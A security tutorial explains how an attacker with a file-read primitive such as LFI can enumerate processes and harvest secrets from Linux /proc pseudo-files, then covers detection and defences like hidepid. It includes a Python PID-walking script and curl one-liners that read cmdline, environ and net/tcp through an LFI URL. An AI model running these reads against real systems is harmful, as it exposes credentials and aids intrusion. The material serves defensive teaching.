Enumeration via /proc/<PID>/cmdline
On Linux, the virtual /proc directory exposes kernel and per-process state as if they were files. Every live process has a /proc/<PID>/ folder, and inside, the cmdline pseudo-file holds the full command line the process was started with, arguments separated by null bytes (\x00).
Why it matters to an attacker. If you have a file-read primitive (an LFI / directory traversal, a sudo that reads files, a limited web shell), /proc turns that read into system reconnaissance. With no interactive shell you can:
- Learn what services run and on which port by reading each PID's
cmdline. A "weird" servicenmapcan't fingerprint (a hand-launched binary, a debugger, a homemade daemon) reveals its exact command here. - Recover secrets passed as arguments: passwords on the command line, tokens, config-file paths. Passing credentials as arguments is bad practice precisely because they're visible in
/procand inps. - Read other useful pseudo-files:
/proc/<PID>/environ(the process's environment variables, sometimes with secrets),/proc/self/cmdline,/proc/net/tcp(connections),/proc/version,/proc/mounts.
How to exploit it blind. PIDs are small sequential numbers, so just walk a range (/proc/1/cmdline … /proc/1000/cmdline) and keep the ones returning something non-trivial:
import requests
base = "http://victim/lfi.php?file="
for pid in range(1, 1000):
r = requests.get(base + "/proc/%d/cmdline" % pid)
if len(r.content) > 50:
print(pid, r.content)The same idea in one line with curl (no Python), plus reading other useful pseudo-files:
for i in $(seq 1 1000); do echo -n "[$i] "; curl -s "http://<host>/lfi.php?file=/proc/$i/cmdline" | tr '\0' ' '; echo; done
curl -s "http://<host>/lfi.php?file=/proc/self/environ" | tr '\0' '\n' # environment variables
curl -s "http://<host>/lfi.php?file=/proc/net/tcp" # active connectionsHow to detect it. The signature is a massive, sequential read of /proc/<pid>/cmdline (and /proc/<pid>/environ) walking many PIDs in a short time: auditd over open/openat of those paths reveals the sweep, which a normal process doesn't do. When the vector is an LFI, the access log shows /proc/ in the inclusion parameter (file=/proc/1/cmdline), easy to block with a WAF. At rest, a /proc mounted without hidepid is the exposure.
Defence. Don't pass secrets as command-line arguments (use tightly-permissioned files or securely loaded environment variables); mount /proc with hidepid=2 so a user can't see other users' processes; and above all, remove the file-read primitive at the root, since it's what enables all of this.